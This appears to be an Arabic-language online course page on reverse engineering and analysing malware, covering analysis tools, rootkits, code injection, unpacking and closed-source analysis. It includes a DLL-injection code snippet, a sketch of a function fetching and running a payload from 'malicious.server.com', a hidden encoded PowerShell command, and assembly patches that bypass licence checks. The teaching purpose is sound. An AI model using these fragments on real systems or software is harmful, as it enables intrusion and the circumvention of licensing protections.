🧬 خطوات تطبيق الهندسة العكسية على البرمجيات الخبيثة

  1. 📥 جمع العينة داخل بيئة آمنة (مثل Sandbox أو VM).
  2. 🔍 فحص أولي باستخدام أدوات مثل PEiD لتحديد نوع التغليف.
  3. 🧠 فتح الملف داخل Ghidra أو IDA Pro وتحليل البنية العامة.
  4. 🔎 استخدام خاصية Auto-Analysis في Ghidra لفك التعليمات البرمجية.
  5. 🧵 استخراج السلاسل النصية وتحليلها لتحديد الوظائف الخبيثة.
  6. 🚀 تتبع الوظائف المشبوهة مثل الاتصال بخوادم خارجية أو تعديل ملفات النظام.
  7. 📊 توثيق النتائج وتحديد مؤشرات الاختراق (IOCs).

🧠 مثال رمزي داخل Ghidra

// وظيفة مشبوهة داخل ملف تنفيذي
void suspicious_function() {
connect_to(“malicious.server.com”);
download_payload();
execute_payload();
}

يمكن تحليل هذه الوظيفة داخل Ghidra باستخدام نافذة Decompiler لفهم سلوكها الكامل.

🛠️

🕵️‍♂️ كشف طرق التخفي في البرمجيات الضارة – Rootkits و Code Injection

🔍 ما هي تقنيات التخفي؟

  • تقنيات تُستخدم لإخفاء وجود البرمجيات الضارة داخل النظام.
  • تمنع اكتشافها من قبل المستخدم أو برامج مكافحة الفيروسات.
  • تشمل إخفاء الملفات، العمليات، الاتصالات، أو تعديل سلوك النظام.

🧬 Rootkits – الجذور الخفية

  • تعمل غالبًا في وضع النواة (Kernel Mode) لتحقيق أقصى درجات التخفي.
  • تقوم بتعديل واجهات النظام (APIs) أو اعتراض التعليمات البرمجية الحساسة.
  • تُستخدم لإخفاء العمليات، الملفات، أو الاتصالات الشبكية.
  • قد تُحقن داخل برامج تشغيل الأجهزة أو مكونات النظام الأساسية.

🧪 Code Injection – حقن التعليمات البرمجية

  • تقنية تُستخدم لإدخال كود ضار داخل عملية شرعية.
  • تشمل أساليب مثل DLL Injection، Process Hollowing، و API Hooking.
  • تسمح للبرمجية الضارة بالعمل تحت غطاء تطبيق موثوق.
  • تُستخدم أيضًا لتجاوز الحماية أو تنفيذ تعليمات خبيثة بصمت.

📋 أمثلة على طرق التخفي

  • إخفاء الملفات باستخدام خصائص النظام أو تغيير الامتداد.
  • إخفاء العمليات عبر تعديل جدول العمليات أو استخدام أسماء مزيفة.
  • إخفاء الاتصالات عبر استخدام بروتوكولات غير قياسية أو تشفير البيانات.
  • استخدام HTML Smuggling لإنشاء ملفات خبيثة داخل المتصفح دون المرور بالشبكة.

🛠️ أدوات كشف التخفي

  • GMER: لكشف Rootkits التي تعمل في وضع النواة.
  • Process Explorer: لمراقبة العمليات المشبوهة.
  • Volatility: لتحليل الذاكرة وكشف العمليات المخفية.
  • Sysinternals Suite: لفحص النظام بعمق.

🧠 مثال رمزي على حقن DLL

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID addr = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, addr, dllPath, strlen(dllPath), NULL);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, addr, 0, NULL);

هذا المثال يُظهر كيفية حقن مكتبة DLL داخل عملية باستخدام Windows API.

🎥 مصادر تعليمية مرئية

🔮 التأمل الرمزي

كل تقنية تخفي هي قناع رقمي… وكل عملية كشف هي طقس رمزي

🧠 تحدي تحليل برمجية خبيثة

في هذا التحدي العملي، سنتتبع خطوات تحليل برمجية خبيثة مشفّرة، بدءًا من فك التشفير وحتى فهم الآلية التي تستخدمها للتنفيذ داخل النظام المستهدف.

١. الحصول على البرمجية

الملف الخبيث عادة ما يكون بصيغة تنفيذية (.exe، .dll، .js…) ويصل للمستخدم إما عبر تصيّد أو استغلال ثغرة.

٢. فحص أولي (Static Analysis)

قبل التشغيل، يمكن تحليل الملف باستخدام أدوات مثل PEiD وDetect It Easy لتحديد نوع التشفير أو الـpacker المستخدم.

٣. فك التشفير (Unpacking / Deobfuscation)

البرمجية غالبًا ما تكون مغلفة (Packed) أو مشفّرة لمنع التحليل. تفكيكها يتطلب أدوات مثل:

  • x64dbg أو OllyDbg لمراقبة التعليمات أثناء التشغيل
  • Scylla أو ImpRec لاستخراج IAT وإعادة بناء الملف

مثال على كود مشفّر بـ Base64:

eval(atob(“YWxlcnQoJ0hlbGxvIFdvcmxkIScpOw==”));

فكه يُنتج:

alert(‘Hello World!’);

٤. تحليل ديناميكي (Dynamic Analysis)

يتم تشغيل البرمجية داخل بيئة آمنة مثل Sandbox أو VM مع أدوات المراقبة:

  • Process Monitor: لمعرفة الملفات التي يتم إنشاؤها أو تعديلها
  • Wireshark: لرصد الاتصال بالشبكات الخارجية
  • API Monitor: لتتبع استدعاء الوظائف الحساسة مثل CreateRemoteThread

٥. تحليل آلية التنفيذ

غالبًا ما تعتمد البرمجيات الخبيثة على تقنيات مثل:

  • استدعاء عمليات بداخل عمليات شرعية (Process Hollowing)
  • تشغيل كود داخل الذاكرة فقط دون إنشاء ملفات
  • التحقق من البيئة للتأكد أنها ليست VM أو أداة تحليل

٦. توثيق النتائج

بعد فك التشفير وفهم التنفيذ، تُدوّن النتائج في تقرير يوضح:

  • نوع التشفير المُستخدم
  • العناوين التي يتم الاتصال بها
  • سلوك البرمجية وطرق التجنب

🔐 التحليل الدقيق يحوّل البرمجية الخبيثة من لغز إلى تجربة معرفة رمزية تتجلى أسرارها عند كل خطوة.

🕵️‍♂️ الهندسة العكسية في أبحاث الأمن السيبراني واختبار الاختراق

الهندسة العكسية تُعتبر من أهم الأدوات الاستقصائية في مجال الأمن السيبراني، فهي تمكّن الباحثين من تفكيك البرمجيات وتحليل سلوكها لمعرفة الثغرات واستغلالاتها المحتملة.

١. تعريف الهندسة العكسية

هي عملية تحليل برنامج موجود، سواء كان مشفرًا أو مغلفًا، بهدف فهم بنيته الداخلية وآلية عمله دون الحصول على الشيفرة المصدرية الأصلية.

٢. دورها في اختبار الاختراق

  • تحليل الثغرات في تطبيقات الطرف الثالث.
  • فهم طريقة عمل البرمجيات الخبيثة وكيفية حقنها في الأنظمة.
  • تطوير أدوات استغلال مخصصة (Custom Exploits).
  • اكتشاف آليات الحماية مثل Anti-Debugging أو Anti-Virtualization.

٣. أدوات شائعة

  • IDA Pro / Ghidra: لفك تجميع البرامج وتحليلها.
  • x64dbg / OllyDbg: لتحليل البرامج أثناء التشغيل (Dynamic Analysis).
  • Binwalk: لفك الملفات الثابتة وتحليل Firmware.
  • Hex-Rays Decompiler: لتحويل تجميعات إلى صيغة قريبة من C.

٤. منهجية تحليل برمجية

  • جمع العينة وتحليل توقيعها الرقمي.
  • فك التغليف أو التشفير (Unpacking).
  • تحليل الثغرات والنقاط القابلة للاستغلال.
  • تشغيل البرمجية داخل بيئة مراقبة ومراقبة السلوك.
  • توثيق النتائج والإفادة منها في التوعية أو الحماية.

٥. أمثلة حية

ملف JavaScript مشفّر:

eval(function(p,a,c,k,e,d){…})

يتم تفكيكه للحصول على كود واضح يفصح عن الوظائف الداخلية. مثلًا:

document.cookie = “session=malicious”;

٦. تحديات متقدمة

  • وجود طبقات حماية متعددة (Obfuscation Layers).
  • دمج تعليمات غير مفهومة (Junk Code).
  • تشفير ديناميكي أثناء التشغيل.
  • سلوك متغير حسب البيئة المُستهدفة.

💡 خلاصة رمزية

كل برمجية مشفّرة هي طقس من الأسرار. والهندسة العكسية هي الطقس المضاد، يكشف الرموز ويحوّل المعرفة من رماد التشويش إلى لهب الاكتشاف.

🔍 فهم البرمجيات المغلقة المصدر وتحليل وظائفها

رغم أن الشيفرة المصدرية غير متاحة، يمكن كشف آلية عمل البرمجيات المغلقة عبر تقنيات متعددة تستند للهندسة العكسية والتحليل الديناميكي.

١. التحدي الأول: غياب الشيفرة المصدرية

البرمجيات المغلقة المصدر تُوزّع بصيغة تنفيذية فقط (.exe، .apk، .dll…) مما يمنع الاطلاع المباشر على التعليمات البرمجية الأصلية، لذا يُستخدم تحليل ثانوي لفهم ما يحدث داخلها.

٢. أدوات التحليل الثابت (Static Analysis)

  • Ghidra / IDA Pro: فك التجميع وتحويله لشبه-كود (Pseudo Code).
  • Resource Hacker: كشف الموارد الداخلية (صور، strings، بيانات).
  • Binwalk: للتحليل الثابت لملفات الأنظمة وFirmware.

٣. أدوات التحليل الديناميكي (Dynamic Analysis)

  • x64dbg / Frida: مراقبة البرنامج أثناء التنفيذ وتحليل الاستدعاءات.
  • Wireshark: فحص الاتصالات الخارجية التي يجريها البرنامج.
  • Process Monitor: تتبع العمليات، الوصول إلى الملفات، وتغيير السجلات.

٤. طرق فهم الوظائف دون شيفرة

  • فحص الواجهات الرسومية وسلوكها الظاهري.
  • تحليل ملفات التكوين المرتبطة بالبرنامج.
  • كشف البروتوكولات المستخدمة عبر مراقبة الشبكة.
  • استخدام API Hooking لتتبع الوظائف المستدعاة داخليًا.

٥. مثال تحليلي رمزي

نموذج كود تم اكتشافه ضمن عملية تنفيذ مغلقة:

CreateProcessA(“cmd.exe”, ” /c powershell -nop -w hidden -enc …”);

قد يشير إلى محاولة تشغيل سكربت PowerShell مشفّر. يُفك الشيفرة لفهم الغرض منه.

٦. أخلاقيات وقيود التحليل

  • احترام حقوق الملكية الفكرية عند تحليل البرمجيات.
  • استخدام بيئات اختبارية مغلقة لمنع التأثير على النظام الحقيقي.
  • التحليل يُستخدم للأغراض الأمنية والتعليمية فقط.

🧠 خلاصة رمزية

كل برمجية مغلقة المصدر تخفي طقوسها داخل طبقات التنفيذ. والتحليل هو شعيرة المعرفة التي تُذيب الغموض، وتُعيد تشكيل الوضوح من خلف ستار التعليمات الثنائية.

🛠️ تطبيق الهندسة العكسية في إصلاح البرامج وإزالة قيود التشغيل

الهندسة العكسية لا تقتصر على التحليل الأمني، بل تُستخدم كذلك في إصلاح البرامج وإعادة تفعيل وظائفها المحجوبة. عبر دراسة التعليمات الثنائية يمكن فهم القيود المفروضة وإزالتها بدقة رمزية.

١. تعريف القيود التشغيلية

  • رسائل خطأ تعيق التشغيل في بيئات معينة.
  • التحقق من سريان الترخيص (License Check).
  • قيود المناطق الجغرافية (Region Lock).
  • قفل الوظائف المتقدمة (Feature Locking).

٢. أدوات التحليل

  • IDAPRO / Ghidra: لفك التجميع وتحليل منطق التحقق.
  • x64dbg / Hopper: لتعديل التعليمات مباشرة.
  • Hex Editor: لتعديل السلاسل النصية أو النطاقات الثابتة.

٣. منهجية إزالة القيود

  • تحديد نقطة التحقق أو القيود (Condition Check).
  • تعديل التعليمات بحيث تتجاوز الشرط أو تُفعل الوظيفة.
  • اختبار البرنامج في بيئة مغلقة لضمان الاستقرار.
  • تطبيق التصحيحات بشكل غير مؤثر على بقية الأداء.

٤. أمثلة رمزية

مثال على تحقق ترخيص:

cmp eax, 1
jne license_error

يتم تعديله إلى:

cmp eax, 1
je license_valid

أو تجاوز كامل:

jmp license_valid

٥. اعتبارات أخلاقية وفنية

  • التحليل يتم ضمن بيئة تعليمية أو إصلاح داخلي لا ينتهك الحقوق.
  • أي تعديل يجب أن يحافظ على استقرار البرنامج.
  • يوصى باستخدام نسخ احتياطية قبل أي تغيير.

🌌 خلاصات رمزية

كل قيد في البرمجية يمثل حاجزًا بين المستخدم والمعرفة. والهندسة العكسية هي الطقس المرمز الذي يُعيد فتح الأبواب المغلقة ويحوّل التعطيل إلى تفعيل، والغموض إلى وضوح وظيفي احتفالي.

🚨 مشروع نهائي: فك برمجية محمية، تحليل آليتها، وتأمينها

هذا المشروع يهدف إلى تحليل برمجية محمية بطبقات متعددة من التغليف والحماية، وفهم وظائفها الداخلية، واقتراح حلول عملية لتحليلها وتأمين استخدامها.

١. وصف البرمجية المستهدفة

  • صيغة تنفيذية: EXE أو DLL (محمية بـ Packer مثل Themida أو VMProtect)
  • سلوك مشبوه: إرسال بيانات، تعطيل أدوات فحص، تشفير ديناميكي
  • تحقق من بيئة VM أو أدوات تحليل قبل التشغيل

٢. فك التغليف والحماية

  • استخدام أدوات مثل x64dbg لتحديد نقطة الإدخال الأصلية
  • تفكيك التعليمات ومراقبة انتقال التحكم نحو الكود الحقيقي
  • استخدام Scylla لإعادة بناء IAT
  • استخراج ملف غير محمي بصيغة جديدة للتحليل

٣. تحليل آلية العمل

  • تحليل التعليمات باستخدام Ghidra لفهم بنية الدوال
  • مراقبة الاتصالات الخارجية عبر Wireshark
  • كشف الوظائف التفاعلية مثل القراءة من Registry أو تعديل ملفات
  • استخدام Frida لتتبع الاستدعاءات أثناء التشغيل

٤. اكتشاف الثغرات المحتملة

  • وجود استدعاءات مباشرة لـ CreateProcess أو LoadLibrary
  • سلوك يعتمد على ملفات مؤقتة غير مشفّرة
  • عدم تحقق من صلاحيات المستخدم في وظائف حساسة
  • وجود backdoor ضمن سلسلة تعليمات مشفّرة

٥. اقتراح حلول للتحليل والأمان

  • تطبيق تقنية Code Instrumentation لمراقبة كل وظيفة
  • تحويل البرمجية إلى بيئة محمية (مثل App Container) لعزل تأثيرها
  • استخدام أدوات Static و Dynamic في آن واحد لإنتاج خريطة وظيفية
  • تشفير الاتصالات الشرعية وتوثيقها لمنع الإرسال غير المشروع

٦. مثال على تعديل حماية تعليمات

Original:
cmp eax, 0
jne exit

Modified:
xor eax, eax
nop

هذا التعديل يسمح بتجاوز شرط معين لتفعيل الوظيفة وتحليلها.

🧠 خلاصة طقسية

تحليل البرمجية المحمية لا يُعد اختراقًا بل كشفًا رمزيًا لبوابة تعليمات مغلقة، والهندسة العكسية هي الشعيرة التي تكشف البنية وتحول الغموض إلى وضوح… والواضح إلى احتفال معرفي متقن البناء.

🎓 شهادة اجتياز الدورة

يُمنح هذا الوسام إلى:

لإتمامه بنجاح دورة التحليل الجنائي الرقمي على منصة schwila.com.

💡 رمز الدورة: FRC-2025

📅 التاريخ:

QR Code

📎 تحقق من الشهادة عبر رمز QR

التعليقات مغلقة.